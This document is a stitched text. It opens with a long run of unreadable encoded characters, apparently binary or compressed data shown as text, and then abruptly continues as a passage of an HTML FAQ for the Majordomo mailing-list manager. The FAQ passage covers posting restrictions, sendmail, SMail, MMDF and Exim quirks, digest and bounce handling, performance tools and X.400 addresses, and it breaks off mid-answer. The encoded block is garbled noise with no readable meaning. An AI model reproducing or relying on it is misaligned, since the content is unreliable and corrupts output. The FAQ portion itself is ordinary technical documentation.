zDSJS=vDmB6b*k-j(~`NnnvLE9oj#3P-apt97Z+F88ab; zv%|S552z211R61<0OBm-_PsPl4d?S z9do#F>9Z*bkLnCPf3q#@p*|_3E~g=~YfO;-4Z7`2jjM!PZqPqF6N8Jk_R}@%~yOa6a=g%jG z)j$WW?xDa}&cG*2h&O*ES!82Ew$P~GHvs+WCGaEV-p*?pxKtY0aa|C*@#~$~G{B=d ztFX~%xKsV^pu%f)0fUy<=Fyvcd&Z1w(ZjGV~mawMD@5SKO$ zZGs2@d_9%f9SqjJ3@m-=2Cz{;T>a0YeIS5FO@s31!n3n~U(|oMYJ<5T*I3y`p&FKO zl|r4aNn^e!iZ7~gkbn?r)&$~8z{JV1ne>n)S+{Fp66x6lbXb<}rl2pEt3b`jV9`dmY6*L^*lSJ9wus5m5$VTe z3|iq|9USYLBD#R0^=0v4XD(&g9Uqm_G(8GQ#~%bGc8bor$(&;5CH2h1XFD9ik228; zciZv@QHOD|l1*YE56TBG^Yl!pVV2Fce8MHUSBeK68u)*FU9~;jtNRw1IRJuq-BZSq zG%@9T3+miNB8B4$<3iUWvx+-4e$?urAvF6w<8Ael00~TCw^W#F+D1pCiQ%^6TC##N zYhl-eb^W(qs06O|U{?m(K6ziB9u3 zoJioIcc_0x%Hfi>YR9oX+K0w(RY{UPcd3SmpPmasqhtk^-y0!alMXr=$ebvGfn4rM zC(WU%@lMk^I+``df?U7it7czW?3tSv z{VM-9b$$RzweE-+mzDn8GQ)_LD3c%1k>HOBsZ6EM~oN;f6Ppd-ckut(b5J4F0FL`9>tc;)(ySp zZv%h!XK75>OrQ??nEhjGOr4r#iEj+A-275L;egYAGhag3);zXo?^B(}*`~=O`7zIN z`E;Mz0iiL@lev8UObcr3f_ODGKHO8ZoFcqei1@#zZ3Wf@f*>E1fln`=ZLX_!yoTrb z6iGfOGtorZkCy!yWOm`p8;O1>Xe;+5e-(fD=u={0n8kl@vYzyNACH%nfv0W@#C@yv z8(^rhD3aHZ!O^6 zkju0#T7hICPiSazP>?MdTlSfnY2^N%RbHuQ-2%0YZfSw$h2?ShibEWuGag|0 zR;0T2*H#e{qk$jma23SoOp`xPz~6uK_>m?O`XRZVHot=ARL2ZU;MzN%_qtvZpI!E1 zi?NCgzeC$yzuq6NF49KdDL=nOxwBk2OW{YM>W`wfh>g(-(d>R4!rv0X0hq8|xV59p zv3(b@K!92rwHZdQRc^m&h)X7a={msbDwo;z#uebLC29+@&N*6~PT;Cd-0*)SriOj= zSZqCF>E15VP@Ljt1ayQ+kCxd@5yW}gDAnkA`_r|(%Z(- z13Rltg_X@ZBqbRJ-(RNv8C?H;%G{>WAt;r6>ihY#-54D=THlYuy8zINI!u&mr7LwR zHD_X`$RK|v`aXiM7lt;tR@Q%PoxD%-Z9|BE!|BT(qudIA)5IYqf1z7g-j2NWtqjh! zd_eu7$L9gB_GudSOvm(OIy^4WOEW z&sa}aMZ&7Ut--Y>jHdcKzIA4tkpa>L*0bi@96eW!m2eI?Sit$%F& zUBf-keJ)#m6?m2skbU9Bgu%>zIqilqWwg@iFp;RM0L-Wb7(O+dT}E9_F7T7bK*2w? z(ZpLG*$;UeK%D7J&T6QG+zLtAVF_GX+5rn?^8{6ZcL@vo<`K-s&09T1t-rcf2x=~C z_qchp&e>dJqbJssyWxM&JlZZ=?$vDeu{~Bz01m~E$!GC-##4;R>0vvX&I*G!WA-oU zbEnLkF+v&qzUt7VA_ojLnXDlsT~veX)tkhS8ml z2KKxKWxw1OQ#@JxWe*cF&5V$I;>GUx%ra+*vletvQq?M5zGi>x2;B=BXXR)L$TYWP zDVUpVzDH+=iMu({MjImI&Li;>3NDRwJwrL<&8$4OHt=4`PE#LSMs5%**iYwA&5XD5 z&aDoSda5EfNSQEh)3jRj8U>z5Dw%-j;{qke^A+-f?PR8&Er**xq<>Q&7l6K(jOb<+ zkRIk2j}~kGMpb`>cOy8v#H(wR#@vQ5*st&~MX(0Td%o5SbreFC<-I`jSU5Y!Ybifg zCS7wi5xegENImiwv5|?UYZoI^@sF|-CR2>}>)$cZBYv%mjRs9y((~UORfa&}E(KTV z)urvOyBuSpYNKl7rh-F?cWDp6Ax#{`^0y-wiZoQa{--uvx~dhbOmSEyXaAqJu>-Gjq@3D9PZ5J7G$= zLe;a3QQPOqXUY@g_-5N6kmR|0(}*JW3c|a{+qQV~@w7Pqu=<)>uGt0IstAaO+(>;E zd^`tmwr+nmD#va3)v8VEB`iH9H(wnZ-AZW!Tfr>_kekTB!vfIH{%qmP?||U5Lg);> zkK;lh{tc@4`i2l;BS|8~(YLd3``0(QmKbEBLrY#vo0s<89dElpUWjkW=f@KwBI(2J zkf(C)!Q@o|&zP?ssq$EEZmu$T>ph@*_Br4KR_lLkms{5jOHAE5tMau7!#Im+dTRSQ z)XWoSSNlDh!W53ZE#95EyGfdRF^+M%11u^cHZL&sH&N2Qf@~PKDAu^Y)fW06nex0k zt*@a(Ezj#TUm>tNi?**!YHz9$PdRx11joPz7!sE-A-tB=_@5O0xPpQbg#WxPgSD35 zq(^^cBVjT2Jij5*WdU0wja+e=VS$AU6JUI|zcSqw-<0Zl6T)C;MXaBDBQ=fRh)arj zS^VA<7Vr@Egwf!$Z?^gZ-VioTt#b8)2IW$${!EG5k&}@VEBCyEL4o@l0@nx5OkXg+ z@9|(=G&U?p?s)xV?Mx8MxpKu6=b#Ze#V>zH$>r*|UQTyI0Yc6h)9vnVp!&w%;^(Z| zJfAHR#NGKMU40u1dZc*<<+;HwkKxV!0hZI%6&Vw{JUMyUgs@7`x{H=^Mt5beRq_+s z^R7oex_c9){Y!tu z)ILm^dssko*KG0@;e7JJfj%47x5+Y%ND<>BxFz(VGh<=|z2ZD1Mz{Sg*P)xg2>?$1 z24(CXG$#W%DY*E6th_ybHpkcOd@T9J*vyp&FD$S7IW^G|(bIZy;NB{?`i zHKxd(*S&3QxlZZ-Ek)W`aN*`sf|P&iP~<3&KXZ11KL|{ORgt_1r!5+Pk@aPvDkoIm z4rW2*Tp*bD&Veqz_q=Mwz3FD0gGr9tcq1el+L}SLI@TwYR-FIU>qu(Q`BE1*pD5aS z5bK_4*Jr#xf6xEH5n4!=FfUwIHGL*-iJr7}3YrG#4L zg2ZxpfdHpdzW%JQS#(jW4B}~N^f}+TjLv^$H$ZG#qiy}$Pn_=bTFJy7ZSL%Os#7zKFwe=@E+0$f za>U1Ae}Dh&HAKmy-5$~Fh!R-BPXk4W^H0Zcj-fafB=C0J2=Jy7-!OP|;qrzQ38t=# zkFAg(EIT5jszTBknkx?wW*)7`pEtSSb;+X=I`OG1c|eRh(_8YV_UC^M-p_CEcQr{j z)Jflp^J^Mz@ET^T*IK#IwU50hkG=MkwDL|Xzm^0$8EG$jF)m;Ccr<9&oJQ~LO`<1Q zg{RYnq|?5z8<_0b7?)i58Sd;xZ%eq&HS~?7_Kb`%2bzxbc#<%M2@!`a7ix`oNsNfq z$Ngjd78VyejxSPxB;tRw?z@3Pt_)9J?LR;lj)sQWDlv>JF>Jea`r{kTJ;(O=KO!7C z1+yp3L?IfdmeT|UDd|0tfC$7nPiS&*S}#Y*)qq@Iu^dr*X$et#57v`1q7AAakCQiI zQxIEv-~WD7(_$p1Cg=6tn^Sc6(PKYfkIMO-<@Kh&Y$pM?H1K~SS2u8q?f{|<%F#EZ zKz)a3oqQVMtF_wwnOo%9gfMBhX+1%{>;X!j>+QcH%REh1@*hsbp;)V$YYQG$;m&XK zA5OydgTL%QO9ig{5f+RNPmB-$Iw6$|DUMbd@3Itej$Xm4buz%*B8C@G4@<3bCq@Z}o8nxiaQJJ1GTh1TgD5&7X>6@gG1&GhaTMA$H_u9e-=vL z`T%bOsej1cjr(9-y=~Y)jwGP169p{@B`uP^k{yqy%{_lOR%)zmZaSN4pKD55ZG3vv zZaIqE;ZezzQM7EfPMy-hN)lY@6{27`A7ZeIO%!wz&B)!?vG%Yvs=Kht9q(aS@C!?W zN}jNHzDoxE(U(Ny(9&;rSM;S=9QhUyYbc+_Awgj=N@Y@!HF<{SmMl2nFht>jYnDLH z9GcPyoDP4cA=!@|aPJ9i(& zIIQ){?P-mymbXEv1M%G^)UmIF;aT$==0dx8dc%J`9mqUN!Y9n>U)2sTgOTEHvS}K> zy-+1+t0F^X6%4w3>2fF_FRW3Q9q8mH9Yl_6ncutk{;}RPRfN7La`Lx;uHhtjuGvxg zA555KX)j?Z#jzSur+G;7^snv_h$9oH`b3`(x!pLT^7F%-?L#CuI)=CCS#ObsAGNpz ze~Ev~BIe$zypYN{1RUQhC-5yx32Q2*S+^*6=C`qL8H(eK>V6*}dRDay9dzAwmlAV1 zMsl_r@8u5x(lo>~4$Zs??I2apNF+sNkZEDck?SdW>L|uw(#RCc?CB%$K*b1?zy6lR z3Q#?N;WoQ|F+Y7jzB3~76Isz=eC-keot=Nxi-6e3By4?l%F)04#@N6Z^>T+F`dv0r zaPy8sC(@hneV>hp;H@Bi>4!^QZb*!OpEvZsb$NPI(4z8lbfK(Fzdp80ZznJ<1Zt^>_fs;^?;KF)V!TzgmY9qI6s`(jWk5A zm`QupV@c}Ob&_Q{NxBAqPZCoot1mM;KhRLbpH_NDTG_j!VHtkOr28RC>N93XV3&#* z&m3wb5|O=eZ~*g93uy}! zj)-EJOpa$R*ruz2^=wt#vt2;~1PL=T36q1pH(Hd4+6cDV85|l2}Zt= zQ>*}tCqBsG(#8nJJcJkVxy(P#Qac!$cd} zKb2-}mDfklby@6=T~PL)NYl3mn_qQLb(*m@f?Ca{WUf=+WXWhVg=$<3(LeB;Tq9>U zr$)pRO1!<`3g(I*gX-Z~S@?ewmvHqFB92~?1W9(Nd~)zEjOmE%wDH1Bu6_70_>~xy zYv7uGRSWQY?&J3$P;~I1QEor*b-T$pdI6?p>S^XH$zLto=>}z6cka^r&weynaZ+Lc zBzPo5QC3fj*!eMDX`swzQ{I@>sD7fj^Gt0xW|jy_;_02Nra!>=Ez5&Ngu~vRXEEjh?%VFn{{&f zv|o8pp0+0=aA?w(#TGwj#r1<)!g&zma_BGcUduDAW8pDln7)&3p?D^EtAg)}cBe{W zjJ~oxP-d+y%|-h8q9 z8&pbvjk?>N$#|{L>hOp0k6djNDEun0)vo&aD)Cm;$sg)K`%U4){Qe7J7G=P}B6yOQ zL`D>!C}4hTFZFfpiwHS);z_5o596E$DRA9pZ=?DzOyDM)uwQ>6obIL#<&mA_ZuecP z4}=M`o3$|!{;a#BMg2qGro01Sz~H1Q-~L%GD7aSr03j;0=z>UuY1i*)|J&R!po z9|888$5l93%m2korI?ZXaGxMU4g8vXfPq0u{+U&poHFuM07Y0ZwCv8nL==TVB3L9JUhh(5?_D%aYzpFu3;4)eYFmq{G0Q% z84+6sue!^bm6%J}hJrD_^7Mnx;(Be{xt=Mo*WVxJRMvE7JneRgu=LQo#P&*aC9p0& zT0mI5YdsBnU*Ya-_w~ajLh5>d!k9UQ_(lrd0q|wz({fFWy$VbW-XCT=R*LlhmK`%l zeV!?W;Y@$#qJjLkTNRwFyKf0X5_-(xSNdW;=kF3qU`}{PQ)Q>yss#b3z7b7xX4R$> zO?2^;JD#$ZCaBW56um~5l&iT;@rN&e3f?gO{L~2Qr-yI3oDW{z*m)RH@fB!9QhP1@ z+0if|LXZc61vs6t9k^6>fHXJj95huSYju}3_uYTP&&-k#y*}1jz6ow?w`nnS>-)}0 z@lLL1m8(|0i#B1cvV6LvOuxN%SL0sO{taMvCR1lOH0m=ULrh%y^~EyabANB(O$a;J zds=>aQOaW_%|L4fU)@8>LR)b~Gu@!X{I**AJ|l|D zzf6xQ`ogZIp9Ko!ClyRpu^_dnFOI73gZ6(s^d_=Cjqp~VX=go_?PfNCGnRsGF#SK; z!WnD+M`}jF#+aH~*lFV= zYDQTV$t@nXiLa{`jCR>As%vCM7-QHL%Zgbv9eA}AC8?M1tFUC` z`*X0&VTArtKyp6TR1Z0GaGq$+$LfDyFA5H0U^u5iKpQGEysqv{wTZq1NJYxF8{0Zg+kfRV3yh)NGLDC<%X-QgeUW zU0>7&1DWY8>JI`+n{>((A*m!;)cmz zy@@d%t^6c6VBFll_U=1252JjK;7wARTJf9wh$yuzv{e)=T*)f8vEfX%BX{B%dvAhe z2$ehYhkl$1A5}00@`?~=RZxG#>o>6SHmrzR8CuVt5L*%Tnnv~m2zA+kkIso_T-uA~ zMA&l}i1bg8MBMw{G0YPClCEXdThn2BHjlKfWsb2}avC;|xLXgI(KYgtt_{^&kKvkA z2JcR@v^GJx%}b(#i-eT6PHFGX>ivs4)y+#r?@qh0t-6q{I_!W>lz@Lu>E{c^=L?dZ zw(9M+{|S}`I=xOyNZkhT-NIDwk9hBoV=nOb0VgejRvVTd$C=NR%X?q(X2&O*tP?|T zLIuV7hR=&hqkoR+y@T$Q0+r;#Rv;U|Qt*q`v&pW=Gf)qB?e8;~bl82T^iD`8M_ zCQG#HXKjYR>ab>CB&dH$;j^nzQCGuABS|zd8uN(B=~V@-z%V#e!&u^$HkY7eIV8>1 z{Ub=op(GGL=5lV2=^*Iq;Im7rW&b>AB2KY@AN`kT>Pjmv2WWaq#I6TuW=cB$&`v4) zAG#{7xLN>&wY3loR_tfe)1|cQ%$NI6QY>@pYT`Ov2GK@iLP~#E%9xl+>g;(=$HuCd za%(#{v)u#9_M1_SDeov6Xw4OfZ_Djk zaC^tjwYrj5>5SW?1VN}vJ;R$KXvyBA({zbo3r;Hf+&5rlzH>yTQvtq};i>Q;7$4>K zA!_;P&*N`0t%ZM%*LVsmeL#7;0r@N3Q5Th2*b#@p=33u)(Bu8p?=AL|!TR5XLddo& zdkp(E0KSfbXh}mq>cY@U%&7Jes-z<8RI~d)F%9;B_OziO;QMAckpRpKkZaDczN;Ft zKz1+YxHH=nf;@NYR&Gtn!{+QV9@on6z(N9ER~>#o9$|mj(me_<9GiOW9;O3A*d%qC z0g3QOqGNi$FS^q_JQ!Pae|H#E&3*>fHm^bg_>9;1u-Wz>4hhWL}eXPTvsvn zw<1*NNSJ>p$Nl>{>Yvj==2cOA{M4y4C z&_kvu2{93hwQ(;7-8>YZe5N1~pf3C68mcu? z*GsItI?OfZ^`_|0;SwQg4zFvmuk;Ed9lq_}%KB?nTO zcXfY{P~2VgjR*zLKuO!i?>Kgmn0=y`XAYd2y>4J{CNhE(ms%M@2NQbU;QoYXzL@e& zzRosTVvW3TGHa{Cr|02BUP0QxeuzZX4#{`xswZcbo5mxbqL^6iYq#qe zMAq(C2_R$9Hr zUd*;ZgVG$HipPKBEc zb-W#O8$t4E4n4ex5WW{BllHUhXN5V35AWZy$vuF;>i?nO1+ux^;ds< zd&P=ve3JVk12#@X9-VoVD#~Sj&_|-?}+*J-tE+9O$!~S(j-CPoSz;nRzVNpbhL8>6>OgU$7

    1zVP=7 zt8|zkjYP68Ibo!A`TJujZqSvPp=@W@fj!TkCX)R z)K3ol#AsJ=`+}dkr~r>c^qqiHeiH2SK)$|!gxL-brwavg`}T_06{;}3H?E4EP=Y>z zzBgbtiA?5KeH!}CkHOawf8KwWsRJ}xXicXu-jbHE?S)Yco9_-QG6l@P_i7bSN>FzC z^^Mo}#g@=dj!D1F;J?ie>?^u5C5y(kYqN6jJMTCWO|mF={yDA)Ka`d6T%aEO+u<}- z>vY1~v6qpf{RYza-BGnz=uPQ_2WJB}4<#-iZ1&-Ug!XIG{G+{ndzV_lwlS#;3SX;;Zz;(jt?u2Ja_ zCMK-0PU$s6Mz2iX(#wAjasKup^{p2qF2q~30Wv)5{MA9jeWFeGlNT{-2DGwchRcCF zQg;BiEupv0H|hAhA5Jz4(&xv}cu!Cv<3(+FK;lwb@?|mBJ4J;!hTPo%7}NOkl!Bu- zUQ$xhJgUhuuY~8J+?^#N9Y6Lva=C5rLzJK#tyJ67ta1i|X&!%*=UF61qu8PN3WtV= zY=gc|VHn&5;jx6M-7aXahbl85r__0dey?C|#h$aT|CJBP&4zn--R~TooIhx!`->+f z`^^++2mN6T$b=V^BY8%f=i;PE;MWd88WL6K$lq zM-k^c_nhz;O`p(Nfu`(Ap))g}X3 z<+!iqwY5;TPIX^n-2(foJOaT}iuxT6sip84n- z5G4lL7@wUNzVv3ueJrBrBg=yeLYpjuAVeQF=b|J@K}X(3A|;47icU2=Z%RT4nO5AT zBLOoqkPv@@-{^=&>dW&b#=c`8+um`M89PB5qlMJ*o-go}{pD_AzSvXtA|EjeeMy_V zNk7=1be7Wz;XOLbe{{-&w5Ccg@FH#WBmIR(%JjwhTI`gd3C&4xiD<_xpA@PD}0FJ}@j z^dNs*V4-qC>W-$`&pWU>UapA%piE2<>nGPWSm2PT@CWjRv@$WMIj#{Hcibd}oPG@02i>+5vU?`hJ_*1kHbAE0hlBg<=w0D6y5kG^1RAC}}{OQE9?t z6s{(I4ne3S*uK(8q)hntz9R7-{YmP7{jZ?^p|Yp;f6*5-=zrCf{`V-KCHeou;{3w! zFTFv(J$T2p!v3?#N1D(^|N=c4g=pFx;}Izf+Im^;^{DVawL+( z!(k4uB=iO+tv8SuJwr)Kp=b7OKFTTNF!<7|L;QPq*ru=CX}5XY`uWx2)CYgqUsL5* zBljHRI9d2(Fcd!rL!Qv<$o#$Xl|K=^f-dtd*t`RWk=A|Q``LQo$4 zbeMyooHWmxuQt!!$tGa9=wIX-ozq`k4LTUtMNyG5i5?_ z&ej$b%k_SFf6{9IC<;zkG01(^}zt-9ec*2h~C8{S%9 zc+uq7k0?i^z%y1sCkGzJ=Znl;sMQ0R5_(Z3CQ>#$-XEtU-t!?ebJXtjLw7_)$M|{) znmp}-$f6YCNryV@MPp<=F-URx3)6bZ@nV%|#KN-?)uEANOhLZNME`$SUUkeEJ&!;& zrOG%(-g7irQN#W;4lb#X2>XOx;G}u^1VFHkga~GbKB_=e=Y!>n*@;=_fSOY%3KWil z6p{iROF@LDAc3bKiKsxwR3JO%xay^m6)0>43SEJQuONo7Ai`J>p)5$_EQlj5h_Dt& zv;|4L1sdXlB<2Ezx*&g!yC9CdK*L_3&=;if7sL=4=okzX3Ih#?2ut99`@nO6DS*CN zJap_UkG(j;m@O}IIi8OB2xcmP@!*gT6jUY79}er?L*|P_y+XI%hNQz}AK&JIT^B$z zMJDu#JIKUL`)ceBnf1MDDjue;cnE6h-`TTk;E8YgZ{PG=Cr5vW&p;Esz5!1C8#_RO zGr?$ez?ur|8E@p7co+=f@qk^pd?v`P%w;OCH;2xr&B<&u!hH_VAapR9TIXE3unBB+ zQzSzt4;U=WyVMk^sBQpwlnLUIgF;lWu8Ydd3Vw`V+j%Bkcgis4{Kp4ufinPN6c3x?d&7TLOoc!vk_lv}g26z9&Z;7E zLPuO-1EAtJCXoKf$4Iag{ROhWK=c=w`wPCfzrY`bP7v-h@vterll_V0FYb?aYyq77 zdy{`9JL9R#=_?R@1-!2mAbIMS!_mSJ*a~m9LXen?=th7MG@*CRlM}8p2Uod`UjG>A zui4vYFg}0K)=0u{*c;xy6w`MJ@A~ZztY}lcAX%|^F?H=l)n7vAMH^WjJmLtRKYz{| zBgdk++UNj#iWu~FLIIZ-ub z`M{EV$59j04{}GHhL#+TM}Wb%JVnymhC31DH1nO<52kGgV!glh!3NJH)0esToo + + The typical way to do #2 is to set restrict_post to: +
    +mylist:mylist-nomail
    +
    + + Then, create a configuration file and password for "mylist-nomail", but +DO NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner)

    + + The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list.

    +


    +

    +

    Section 4: Mailer and list administration problems

    + +

    4.1 - Address with blanks are being treated separately

    +If a subscriber to the list is
    +John Doe < jdoe@node.com> +

    +it gets treated these as the three addresses:
    +John
    +Doe
    +< jdoe@node.com>

    + +[From Alan Millar]
    +Majordomo does not treat these as three addresses. Apparently +your mailer does. +

    +Remember that all Majordomo does is add and remove addresses from +a list. Majordomo does not interpret the contents of the list +for message distribution; the system mailer (such as sendmail) does. +

    +I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the +end of each line was effective to fix the problem, and I got to keep +my comments. So I patched Majordomo to add the comma at the end +of each address it writes to the list file. +

    +You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. +

    + + +

    4.2 - Why aren't my digests going out?

    +[from John Rouillard]
    + +
    +  echo mkdigest [digest-name] [digest-password] | mail majordomo@...
    +
    +This will force a digest to be created. Or you can set the max size in +the digest list config file down low, and force automatic +generation.

    + +

    4.3 - Why do I get duplicate mail sent to the list?

    + +If you're running MMDF, read on: [From Gunther Anderson]
    +Well, I can tell you what happened to me recently. We use MMDF here, +which certainly colors the picture a little. What was happening here was +that MMDF was verifying the validity of the whole mailing list before +returning from the Submit call. The thing calling the Submit would time +out and close, but the Submit itself would still be running somewhere. +The calling routine would believe that the message had failed in its +delivery, but the Submit would eventually succeed. The calling process +would try again some time later. This, of course, is bad. The larger +the list got, the more addresses there were to verify (verification was +really just a DNS search on the target machine name), the more likely, +under load, that the message would duplicate. We finally got so large, +with so many international addresses (which seem to timeout on DNS +queries much more often than US addresses) that we were always +duplicating. Infinitely (until I killed the original submitter). +

    +The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the +addresses before accepting a job. We used the list-processor channel, +and only had to check that the listname-request name was set properly, +because list-processor insists on making listname-request the envelope +"From " header name.

    + +If you're running Sendmail, this is more rare. There have been +unconfirmed reports that on some systems having the queue process +interval set too short can cause problems, even though sendmail is +supposed to handle this. Workarounds are to increase your +queue process interval (-q flag), or decrease the interval +between queue checkpoints (OC flag in sendmail.cf).

    + +There have been many reports from Linux users complaining about +duplicate mail. The problem seems to be that flock() under +Linux is broken. This may be fixed in a future release, but +for now in sendmail's conf.h in the #ifdef __linux__ +section add a line #define HASFLOCK 0. There +are also reports that some versions of the libc have problems, +and that linking with the libresolv.a from a recent BIND version +will work around the problem.
    +[ Please let me know if you have any more information --ed ] + +

    4.4 - How do I gate my list to and/or from a newsgroup?

    +The easiest method is to use a program called newsgate. +You can find it at ftp://ftp.isc.org/isc/inn/contrib/. +Installation instructions are straightforward, it provides sample entries +for your newsfeeds/sys file and aliases entries. The newsgate +package includes news2mail and mail2news. + +

    4.5 - How can I improve Majordomo's performance?

    +

    Mail to list throughput

    + +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail +to the list. Upgrading your sendmail to version 8.x +will improve things greatly, as this version has a lot of enhancements +which use connections more efficiently. For most lists, this +is enough. Majordomo itself doesn't use very much in the way of +resources except perhaps memory. Adding more memory will help if +your machine does a lot of paging +during mail delivery.

    + +Using other mailers instead of sendmail has met with varying success. +Exim can also be used (see +http://www.exim.org/). qmail has +been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way +than sendmail (some would say paranoid). See +http://www.qmail.org. +The qmail site includes at least one way to get majordomo to work with +qmail. Note that it is possible to get majordomo working under +qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the +Using +Majordomo with qmail FAQ, written by Russ Allbery.

    + +If you are using Exim instead of sendmail there +are more things you can do. Instead of concealing the -outgoing +addresses, it is possible to configure Exim so that those addresses are +only usable by the local majordomo user. A description of how to do +that can be found at +http://www.netmaster.ca/exim/majordomo.html as well +as other information about configuring majordomo with Exim.

    + +If your lists are very large you may try installing bulk_mailer, by +Keith Moore. It pre-sorts the list into chunks grouped by site, and +passes the resulting chunks off to individual sendmail processes for +delivery (see note next paragraph). Get it from +ftp://cs.utk.edu/pub/moore/bulk_mailer/. It installs simply by replacing your usual -outgoing +alias with (line wrapped for clarity): +

    +sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site
    +    /path/to/lists/sample"
    +
    + +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one +problem. Until version 1.3 it didn't understand parenthesized comments +in addresses, resulting in incorrect sorting and reduced performance. Your +list must be configured with strip=yes in the list configuration +file if you don't upgrade to 1.3 or higher.

    + +TLB is another package which is like bulk_mailer, but has other +features. You can get it from +ftp://ftp.hpc.uh.edu/pub/tlb/. +The advantage of TLB is its greater configuration flexibility, and +also the fact that it's possible with TLB to eliminate the -outgoing +address, making configuration easier and lists more secure.

    + +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to +verify that the sender is subscribed to the list). Think twice about +using this option with very large lists. + +

    Majordomo command processing

    +Most of the improvements in this are experimental and not widely +available or not yet completed but scheduled for future releases. Some +areas include: improvements in shlock.pl to use exponential backoffs to +reduce contention and starvation of locks, using some sort of dbz-style +database for subscription lists to speed up subscribe and unsubscribe +commands, and changes in the configuration file system to allow faster +parsing and faster execution of certain commands such as "lists". +If you are interested in working on improvements in this area, +join the majordomo-workers list mentioned above. If you make +any specific patches or additions available, please let me know so +I can add references to it here. + +

    4.6 - How can I handle X.400 addresses?

    +Majordomo by default treats addresses starting with "/" as "hostile", +and won't let people subscribe. This is to prevent someone +from subscribing a majordomo-owned filename to the list, and being +able to write by sending mail to the list. Unfortunately, all +X.400 addresses begin with a "/". See the $no_x400at and $no_true_x400 +variables and the associated comments in the majordomo.cf. There +is a reported bug in 1.94 - you may need to change both tests for +these variables in majordomo.pl to put "main'" before them. Like this: +
    +        if (!$main'no_x400at) {
    +
    +
    +        if (!$main'no_true_x400) {
    +
    +

    +This is fixed in Majordomo 1.94.1 and higher.

    + +

    4.7 - Why is the Subject of my messages missing?

    +[from Dave Wolfe]
    +But it's not. Oh, you probably mean "Why is the subject line of +messages to my moderated list blank?" Because you didn't include any +headers after the Approved: header in the body of the messages. Or you +deleted them when you approved the bounced messages.

    + +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original +message (as opposed to a bounced message), you have to also fill in some +headers to be sent out, such as Subject:, To:, and From:.

    + +See section Question 3.10 on how to approve messages +to moderated lists.

    + +This is also explained in Doc/list-owner-info, which should be sent +to all list owners and moderators.

    + +

    4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I stop this?

    +Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you +why in the Subject of the message. Here's a list of the most common +bounce reasons:

    + +An "Admin request" bounce means that the list is configured to filter +out what it thinks are "administrivia" messages, and it thought that +message was one. These are messages such as "subscribe" or "unsubscribe" +or "help", which get sent to the list instead of majordomo. Lists generally +have this turned on by default. If you don't like it, set "administrivia=no" +in the list config file. If that doesn't work, check your aliases to make +sure the "-s" option to resend isn't being used on that list.

    + +An "Approval required" bounce means that the list is moderated, and +the message needs to be approved. (see section 3.10 of this FAQ)

    + +A "Message too long" bounce means that the message was longer than +the "maxlength" setting in the list config file.

    + +If you get any of these bounces messages and you think the mail is OK +to send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this +FAQ. + +

    4.9 - My list configuration doesn't seem to be working.

    +If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 +of this FAQ on how to set up the aliases for the list correctly to pipe mail +through "resend".

    + +Other things to check would be that the arguments to "resend" are only +"-h", and "-l" (and perhaps "-C" if you use virtual domains). resend +used to be configured with other command line flags to do things such as +have moderated lists. However these flags override any config file +settings, so remove them if they are present. All configuration should +be done now through the config file.

    + +

    4.10 - How do I set it up so that the originator of a message doesn't get a copy of his/her own message back?

    +You can't. Sorry. The "metoo" setting in sendmail has no effect after +a message is piped through an external program. Unless you're willing to +give up piping messages through "resend", there's no way to stop this. +

    +

    4.11 - With Smail or Exim, users subscribing to a list sometimes get mail sent before they subscribed

    +[from Lazlo Nibble and Philip Hazel]
    +This is due to the way Smail and Exim deliver mail. With sendmail, +it expands its delivery list when the mail first arrives. If the +list gets changed, the message will still get delivered to the original +recipient list, since the original list is never referred to again. +As sendmail delivers mail, it removes addresses from its expanded list +as they get delivered.

    + +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long +as the message is queued waiting for one or more addresses in the list, it +will get sent to any new recipients whenever the queue gets processed next. +This is rather unexpected for those used to sendmail's behavior.

    + +The advantage of smail and exim's approach is that if an address in +your list is unreachable (or has a bad .forward file), you can change +the list contents (or the .forward file) and the message will be delivered +to the new address when the queue next gets processed. It won't deliver +to the old, bad address.

    + +There really isn't an easy solution to this, but it's really not a serious +problem.

    + +

    4.12 - Majordomo doesn't seem to work with sendmail 8.9

    +The new security features of sendmail don't allow :include: directories +to be group writable. Unfortunately, by default these directories are +group writable with Majordomo. If you have this problem you will +see errors from sendmail like "Cannot open /path/name: Group writable +directory" and "aliasing/forwarding loop broken".

    + +One solution is to add:

    +

    +O DontBlameSendmail=groupwritabledirpathsafe
    +
    +in your sendmail.cf and restart sendmail.

    + +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure +also any parent directories to not have the group or other write bit +set. If Majordomo is working correctly having group write permission +is not necessary. However, some people find it convenient to have +group-write access so users can be put in the majordomo group and not +need root access all the time to work on majordomo. + +

    4.13 - I can't get Majordomo to work with RedHat Linux

    + +If you are trying to use the Majordomo RPM, it is broken. The +majordomo.cf which comes with the RPM has the line +
    +$whereami = `hostname`;
    +
